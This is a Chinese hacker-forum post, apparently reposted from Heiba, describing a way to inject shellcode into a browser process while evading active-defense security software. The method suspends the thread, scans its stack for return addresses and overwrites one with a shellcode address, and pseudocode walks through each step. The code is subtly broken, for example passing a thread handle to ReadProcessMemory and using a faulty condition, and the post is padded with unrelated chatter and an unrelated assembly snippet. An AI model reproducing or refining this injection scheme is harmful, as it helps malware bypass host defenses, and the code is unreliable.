来源于(黑吧)
一个简单的思路,注入式绕过主动防御,PS:只是突然兴起想到的一个,简单构架
高手请指教谢谢!
注入分为两步
(1)写代码
(2)将控制权传给这段代码
简单的说下写代码,一般来说向另外一个程序写代码用的都是
KERNEL32 WriteProcessMemory函数 或者
ntdll de NtWriteVirualMemory函数,这些都在MicroSoft中的MSDN中都有详细的解释
给其他程序注入的行为一般都会被主动防御等东西拦截,
破解任何一种保护方式的基础是破解他实施保护所依赖的前提,一般防御的前提是,
可以向没标记为可执行(没有EXECUTABLE属性)的虚拟内存中写入。
如果内存没有这个属性我们就可以任意向其中写入。
(爱情买卖清楚了)哈哈刺客刚刚说要唱。。。。。真给力
代码写向什么地方!有个简单的方法,写到堆栈内存里面,
我们用另外一个有效有意思的方法,代码写到堆栈中的指定位置!
现在的技术,堆栈中的代码并不能总是执行的,写入的位置也可以不仅仅在堆栈中,
现在我们针对简单的注入技术进行分析,
1.创建进城,以默认方式运行浏览器文件。2.执行一段代码后停止浏览器线程,
3.获得其上下文(需要堆栈指针)。4.分析堆栈中的返回地址。
5.写入写好的代码地址。6.恢复线程。
大致分为这些,没细来。
在这几步中最不容易实现。如何分析堆栈的出来的某函数返回的地址!
我们可以使用下面的方法,(沿堆栈向下搜索),会取得每一个DWORD。每一个DWORD都可能是返回地址。
是否是返回值有个方法可以验证,读取DWORD取得 DWORD表示的地址从此地址回进行反汇编。
如果遇到CALL指令。那就意味着地址是返回地址:
如 CALL X
RET_ADDRESS:
PROC X..
假设在执行X函数时停止了线程。在堆栈中就会存在保存在寄存器中的局部变量(STDCALL 调用方式)
保存在堆栈中的临时数据,及函数返回地址。这个返回地址就是RET_ADDRESS 它的值可以在堆栈里找到,
我们可以依赖EBP的值,这个一般也保存在堆栈中。
可以参考下多数函数标准的prologue 。
被停止的县城堆栈里可能只有一个返回地址。
(刺客的灰太狼!!!!)
下面简单的模拟下我们上面分析步骤!
Createprocess(BrowserFilePath,,processInformation);// 创建Thread
sleep(1000);
SuspendThread(processInformation.hThread);//停掉最初Thread
GetThreadContext(processInformation.hThread,&Context);//获取上下文
ReadProcessMemory(processInformation.hThread,Context.Esp,StackChunk,1000*4); //ESP中读取1000个DWORD
for(i =0;i<1000;i++)
{
ReadProcessMemory(processInformation.hThread,StackChunk[i]-10,CodeBuffer,10);
//读10个字节,如果返回地址这10个字节中就会包含CALL指令;
for (j=0;j<10;j++)
{
disasm(&(CodeBuffer[9-j]),&Instr); //分析指令
if((Instr.Length==j+1)&&(Instr.OpCode==0xe8)||Instr.OpCode == 0xff||Instr.OpCode==0x9a)
// if Call
{
WriteProcessMemory(ProcessInformation.hProcess,(Context.Esp+StackChunk[i] - StackChunk),&ShellCodeAddress,4);
//写shellcode地址
ResumeThread(processInformation.hThread);//恢复线程
}
}
}
----------重光巧克力没有--------------------有美羊羊,喜洋洋,于传说中的蛋糕妹擦肩而过------------------╮(╯_╰)╭某人快跟自己结婚了!--------------------------------------
下面一些我们利用寄存器传递参数方法:
UPTOLW PROC
PUSHF
CMP AL,'A'
JB UPTOLW1
CMP AL,'Z'
JA UPTOLW1
ADD AL,'a'-'A'
UPTOLW1:POPF
RET
UPTOLW ENDP
-------------------------------
入口参数 AL = 字符 ASCII码
出口参数 AL = 字符 ASCII码
大写字母转换成小写,其他字符不变,
简单的寄存器传递方法,! |